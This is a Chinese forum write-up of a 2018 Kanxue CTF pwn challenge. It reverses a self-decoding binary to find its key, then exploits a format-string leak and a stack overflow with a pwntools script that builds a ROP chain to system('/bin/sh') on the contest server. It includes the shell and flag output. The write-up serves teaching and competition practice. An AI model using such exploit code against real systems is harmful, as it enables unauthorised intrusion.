-
-
[原创] 京东-看雪 2018 - 春季赛 - 第三题 - PWN-wow
-
2018-6-21 23:28 3246
-
比赛之前看到给了一个linux 的版本号
被吓到了,我靠,这不会是 kernel 题目吧,赶紧编了个一样版本的linux image
比赛开始后。。。
好吧,是我想多了
功能分析 & 漏洞分析
checksec 看一下
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
64 位的程序,没有 开 PIE, relro partial
运行一下看看效果
*************************** 2018 kanxue CTF *************************** *************************** 常记溪亭日暮,沉醉不知归路。 兴尽晚回舟,误入藕花深处。 争渡,争渡,惊起一滩鸥鹭。 --宋 李清照 *************************** 1 [1] 111733 illegal hardware instruction (core dumped) ./wow
出题人还来了一首诗,不过没有什么用, 可以输入一个字符串,输入完就报错了
一般报错都是segment fault 什么的, 这里确实 illegal hardware ??
换了一下输入
a [1] 111829 segmentation fault (core dumped) ./wow
报错信息变了,测试之后发现只能输入 6个byte 的字符,这样也看不出什么
ida 打开看看代码
main函数
main 函数 前面主要进行 setbuf 一些初始化的操作
调一个 welcome 函数打印那首诗,然后直接jump 到内存地址 0x400818
不过没有看到有可以输入的地方呀。。应该是和 jump 过去的地址有关
int __cdecl main(int argc, const char **argv, const char **envp) { FILE *v3; // rdi setbuf(stdin, 0LL); v3 = stdout; setbuf(stdout, 0LL); welcome(v3, 0LL); JUMPOUT(__CS__, 0x400818LL); }
welcome 函数里面还有一个 ptrace 的系统调用, 主要用来反调试的
__int64 welcome() { puts("***************************\n"); ............................. puts("***************************\n"); return test(); } // ----------------------------------------------// signed __int64 test() { signed __int64 result; // rax result = 101LL; __asm { syscall; LINUX - sys_ptrace } return result; }
gdb 打开 , 直接 exit 退出了
将 __asm { syscall; LINUX - sys_ptrace } 这段 nop 掉即可
*************************** [Inferior 1 (process 111934) exited normally]
接下来到 0x400818 看看程序究竟干了什么
- 首先是调用 了 mprotect 系统调用 将 0x400000 开始 0x1000 长度的地址编程 rwx 权限,也就是将代码段编程可写的啦
.text:0000000000400816 jmp rax .text:0000000000400816 main endp .text:0000000000400816 .text:0000000000400818 ; --------------------------------------------------------------------------- .text:0000000000400818 sar rax, 0Ch ; rax==0x400818 .text:000000000040081C shl rax, 0Ch .text:0000000000400820 mov rdi, rax ; rdi=0x400000 .text:0000000000400823 mov rdx, 7 .text:000000000040082A mov rax, 0Ah .text:0000000000400831 mov rsi, 1000h ; mprotect(0x400000,0x1000,0x7) .text:0000000000400838 syscall ; LINUX - sys_mprotect
- 接下来调用 sys_read 系统调用 向 bss 段上读入6 个 byte 的字符,read 完之后调到当前指令地址+5 的位置
.text:000000000040083A xor rax, rax .text:000000000040083D mov rdx, 6 .text:0000000000400844 push rax ; rax=0 .text:0000000000400845 lea rax, szCh .text:000000000040084D mov rsi, rax ; rsi=szCh .text:0000000000400850 pop rax .text:0000000000400851 mov rdi, rax ; sys_read(0,szCH,6) .text:0000000000400854 syscall ; LINUX - .text:0000000000400856 call $+5
okay 字符读进去了,接下来的才是主菜 - 首先拿出 input 的第一个byte
- 找到代码段,这里是 0x40087f 开始 的第一个 byte, 异或之后放回去
- 有两层循环, 即 code[i-1]==0xfb && code[1]==0x90 才结束
有点类似压缩壳,0x40087f 刚好是退出循环之后的第一个指令地址,也可以看到现在的指令乱七八糟的
所以这里就有可能是 根据传入的 字符串,运行时对指令进行加密,就是这里异或的操作,如果输入的字符串正确,那么解密出来的指令也应该是正确的,就可以进入正确的逻辑,不然就会像开始那样 segment fault 或非法指令的提示了
要确定输入的是什么也比较清晰,结合 code[i-1]==0xfb && code[1]==0x90 这个判断条件自己异或一下代码即可.text:000000000040085B L0_64: ; 0x40085b .text:000000000040085B pop rax .text:000000000040085C add rax, 24h ; 0x40087f .text:0000000000400860 xor rcx, rcx .text:0000000000400863 mov dl, [rsi+rcx] ; rsi== szCh , rcx ==0 就是 dl == input[0] .text:0000000000400866 .text:0000000000400866 L1_64: ; CODE XREF: .text:0000000000400878↓j .text:0000000000400866 ; .text:000000000040087D↓j .text:0000000000400866 mov bl, [rax+rcx] .text:0000000000400869 xor bl, dl ; rax = 0x40087f , rcx=0 , 读取代码段的一个 byte ? .text:000000000040086B mov [rax+rcx], bl ; code[i] = code[i] ^ input[0] .text:000000000040086E mov dh, [rax+rcx-1] ; dh = code[i-1] .text:0000000000400872 inc rcx ; i++ .text:0000000000400875 cmp dh, 0FBh ; code[i-1] ==0xfb ? .text:0000000000400878 jz short L1_64 .text:000000000040087A cmp bl, 90h ; code[i] == 0x90 ? .text:000000000040087D jnz short L1_64 .text:000000000040087F sub eax, 2D6D61E8h .text:0000000000400884 db 48h .text:0000000000400884 in rax, 65h .text:0000000000400887 db 65h, 65h .text:0000000000400887 sub eax, 79EFAC54h .text:000000000040088E insd
写个py 测试一下
暴力跑一下,不过结果好多。。
s=p.read() p.close() # def check(c1,c2): for i in range(256): if c1^i==0xfb and c2^i==0x90: print hex(c1),hex(c2),hex(i),chr(i) for i in range(0x87f,0xa30): check(ord(s[i-1]),ord(s[i])) --------------------------------------------- 0x9e 0xf5 0x65 e 0xe8 0x83 0x13 ^S 0xb0 0xdb 0x4b K 0xde 0xb5 0x25 % 0xbf 0xd4 0x44 D 0x47 0xd7 0x93 0x82 0x12 0x56 0xb 0x9b 0xdf 0x7 0x97 0xd3 0x47 0xd7 0x93 0x22 0xb2 0xf6 0xcf 0x5f 0x1b 0xf 0x9f 0xdb 0xf 0x9f 0xdb 0xf 0x9f 0xdb
看到只有几个是可见字符的,试了一下 e, 结果居然真是 e..
先在 0x000000000040087d 下个断点, run 一下, 输入 e
这里是判断是否要跳出循环的地方, c 运行几次, 0x40087f 的地方的指令就会被还原
0x40087a <main+230> cmp bl, 0x90 ► 0x40087d <main+233> ✔ jne main+210 <0x400866> ↓ 0x400866 <main+210> mov bl, byte ptr [rax + rcx 0x400869 <main+213> xor bl, dl
删除原来的断点, 然后再 0x40087f 下个断点,就可以调到解码后的代码的位置了
► 0x40087f <main+235> lea rax, [rax + rcx] 0x400883 <main+239> sub rax, 0x80 0x400889 <main+245> xor rcx, rcx 0x40088c <main+248> mov bl, byte ptr [rax + rcx] 0x40088f <main+251> xor bl, dl 0x400891 <main+253> mov byte ptr [rax + rcx], bl 0x400894 <main+256> inc rcx 0x400897 <main+259> cmp rcx, 0x20 0x40089b <main+263> jl main+248 <0x40088c>
gdb dump 一下内存, 然后就可以用 ida 打开查看,dump 指令如下
将代码段的内容 dump 到 unz1 文件里面
pwndbg> dump binary memory unz1 0x400000 0x401000
ida 用 binary 格式打开, rebase 一下 segment 基地址到 0x400000, 跳到 0x40087f 按一下 c 转换成 代码
具体
edit => Segments => Rebase Program
okay 看一下加密之后的代码, 这里先 进行 0x20 次循环, 将 0x4008c9 代码开始 一个byte 一个 byte 和 input[0] 进行异或,这个是我们不能控制的,继续看下面
seg000:000000000040086B mov [rax+rcx], bl seg000:000000000040086E mov dh, [rax+rcx-1] seg000:0000000000400872 inc rcx seg000:0000000000400875 cmp dh, 0FBh seg000:0000000000400878 jz short loc_400866 seg000:000000000040087A cmp bl, 90h seg000:000000000040087D jnz short loc_400866 seg000:000000000040087F lea rax, [rax+rcx] seg000:0000000000400883 sub rax, 80h seg000:0000000000400889 xor rcx, rcx seg000:000000000040088C seg000:000000000040088C loc_40088C: ; CODE XREF: seg000:000000000040089B↓j seg000:000000000040088C mov bl, [rax+rcx] seg000:000000000040088F xor bl, dl seg000:0000000000400891 mov [rax+rcx], bl seg000:0000000000400894 inc rcx seg000:0000000000400897 cmp rcx, 20h seg000:000000000040089B jl short loc_40088C
下面 的 操作
dl = input[1]^input[0],后面还是和第一次解码一样同样的比较条件
好吧,再写个脚本试试
seg000:000000000040089D add rax, 80h seg000:00000000004008A3 xor rcx, rcx seg000:00000000004008A6 mov dl, [rsi+rcx] seg000:00000000004008A9 inc rsi seg000:00000000004008AC xor dl, [rsi+rcx] ; input[1]^input[0] seg000:00000000004008AF seg000:00000000004008AF loc_4008AF: ; CODE XREF: seg000:00000000004008C1↓j seg000:00000000004008AF ; seg000:00000000004008C6↓j seg000:00000000004008AF mov bl, [rax+rcx] ; 0x4008c9 seg000:00000000004008B2 xor bl, dl ; 第二层循环解码 seg000:00000000004008B4 mov [rax+rcx], bl seg000:00000000004008B7 mov dh, [rax+rcx-1] seg000:00000000004008BB inc rcx seg000:00000000004008BE cmp dh, 0FBh seg000:00000000004008C1 jz short loc_4008AF ; 0x4008c9 seg000:00000000004008C3 cmp bl, 90h seg000:00000000004008C6 jnz short loc_4008AF ; 0x4008c9 seg000:00000000004008C8 nop
找到个 v, 感觉应该是可以直接计算偏移然后将整个程序解码出来的,但是因为这里只有 6 个 byte 的字符
自己用的是 gdb dump 内存, 然后查看对应的指令这样的做法
p=open('./unz1') s=p.read() p.close() def check(c1,c2): for i in range(256): if c1^i==0xfb and c2^i==0x90: print hex(c1),hex(c2),hex(i) ,hex(ord('e')^i),chr(ord('e')^i) for i in range(0x8c9,0x8c9+0x80): check(ord(s[i-1]),ord(s[i])) ---------- 0xe8 0x83 0x13 0x76 v
最后解出来的 input 是 evXnaK, 运行一下程序,输入key, 就会输出一个 wow, 还有一个不明字符
可能是地址泄露了
evXnaK wow! ��
看一下最后解码出来的代码, 代码有点长 总的来说就是
- write(0,"wow",5)
- read(0,rsp,0x1a)
- printf(rsp)
- read(0,[rsp-0x20],0x100)
- mprotect 代码段不可写
前面基本上都可以说是在逆向,后面就是 pwn 的内容了,主要漏洞点在
printf 的时候直接打印了字符串,有格式化漏洞
然后 后面 read 函数 可以读 0x100 长度的 字符造成一个 stack overflow
seg000:00000000004009F8 jl short loc_4009E9 seg000:00000000004009FA mov rax, 1 seg000:0000000000400A01 mov rdx, 5 ; write wow seg000:0000000000400A08 lea rsi, ds:601058h ; write(0,0x601058,5) seg000:0000000000400A10 mov rdi, rax ; sys write seg000:0000000000400A13 syscall ; Low latency system call seg000:0000000000400A15 mov edi, 0 seg000:0000000000400A1A call sub_4005D0 ; fflush seg000:0000000000400A1F cmp rax, rax seg000:0000000000400A22 jnz short near ptr loc_400A33+3 seg000:0000000000400A24 call $+5 seg000:0000000000400A29 pop rax seg000:0000000000400A2A add rax, 7 seg000:0000000000400A2E jmp rax seg000:0000000000400A30 ; --------------------------------------------------------------------------- seg000:0000000000400A30 xor rax, rax seg000:0000000000400A33 seg000:0000000000400A33 loc_400A33: ; CODE XREF: seg000:0000000000400A22↑j seg000:0000000000400A33 mov rdx, 1Ah seg000:0000000000400A3A mov rsi, rsp seg000:0000000000400A3D mov ds:601088h, rsp seg000:0000000000400A45 mov rdi, rax ; read(0,rsp,0x1a) seg000:0000000000400A48 syscall ; Low latency system call seg000:0000000000400A4A mov rax, cs:601088h seg000:0000000000400A51 mov rdi, rax seg000:0000000000400A54 mov eax, 0 seg000:0000000000400A59 call sub_4005B0 ; printf(rsp) seg000:0000000000400A5E xor rax, rax seg000:0000000000400A61 mov rdx, 200h seg000:0000000000400A68 lea rsi, [rsp-20h] seg000:0000000000400A6D mov rdi, rax ; read(0,rsp-0x20,0x20) seg000:0000000000400A70 syscall ; Low latency system call seg000:0000000000400A72 nop seg000:0000000000400A73 call $+5 seg000:0000000000400A78 pop rax seg000:0000000000400A79 add rax, 7 seg000:0000000000400A7D jmp rax seg000:0000000000400A7F ; --------------------------------------------------------------------------- seg000:0000000000400A7F sar rax, 0Ch seg000:0000000000400A83 shl rax, 0Ch seg000:0000000000400A87 mov rdi, rax seg000:0000000000400A8A mov rdx, 5 seg000:0000000000400A91 mov rax, 0Ah seg000:0000000000400A98 mov rsi, 1000h ; mprotect 将代码段编程不可写 seg000:0000000000400A9F syscall ; Low latency system call seg000:0000000000400AA1 mov eax, 0 seg000:0000000000400AA6 mov rdx, [rbp-8] seg000:0000000000400AAA xor rdx, fs:28h seg000:0000000000400AB3 jz short locret_400ABA seg000:0000000000400AB5 call sub_400590 seg000:0000000000400ABA seg000:0000000000400ABA locret_400ABA: ; CODE XREF: seg000:0000000000400AB3↑j seg000:0000000000400ABA leave seg000:0000000000400ABB retn
漏洞利用
okay 找到了一个 格式化和栈溢出,因为程序开了 canary, 又没有给libc,所以攻击的思路是
- 格式化 泄露出 canary 以及 libc 的地址
- 找到对应版本的libc, 计算system 地址
- 直接 stack overflow 调用 system("/bin/sh") get shell
exp
#coding:utf-8 from pwn import * import sys import time file_addr='./wow' libc_addr='' host='139.199.99.130' port=65188 p=process('./wow') if len(sys.argv)==2: p=remote(host,port) key='evXnaK' payload=key print p.recv() p.send(payload) print p.recv() if len(sys.argv)==2: print p.recv() time.sleep(0.1) payload='%13$p.%15$p' p.sendline(payload) leak=p.recvline().strip().split('.') canary=int(leak[0],16) libc_start_main=int(leak[1],16)-240 libc_base=libc_start_main-0x000000000020740 print leak offset=0x58 pop_rdi_ret=0x0000000000400b23 binsh_addr=libc_base+0x18cd57 system_addr=libc_base+0x000000000045390 payload='a'*offset payload+=p64(canary) payload+='a'*8 payload+=p64(pop_rdi_ret) payload+=p64(binsh_addr) payload+=p64(system_addr) p.sendline(payload) p.info('libc_start_main :' +hex(libc_start_main)) p.info('canary :' +hex(canary)) p.info('libc_base : '+hex(libc_base)) raw_input('aaaa') p.interactive()
执行效果
wow! ['0xefcd9268da147500', '0x7f4eac6c0830'] [*] libc_start_main :0x7f4eac6c0740 [*] canary :0xefcd9268da147500 [*] libc_base : 0x7f4eac6a0000 aaaa [*] Switching to interactive mode $ ls bin dev flag.txt lib lib64 wow $ cat flag.txt 572416a82fa298b09b87f733d5483ba51 $
题目还是不错的,逆向渣渣的我学到了不少知识 :)
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界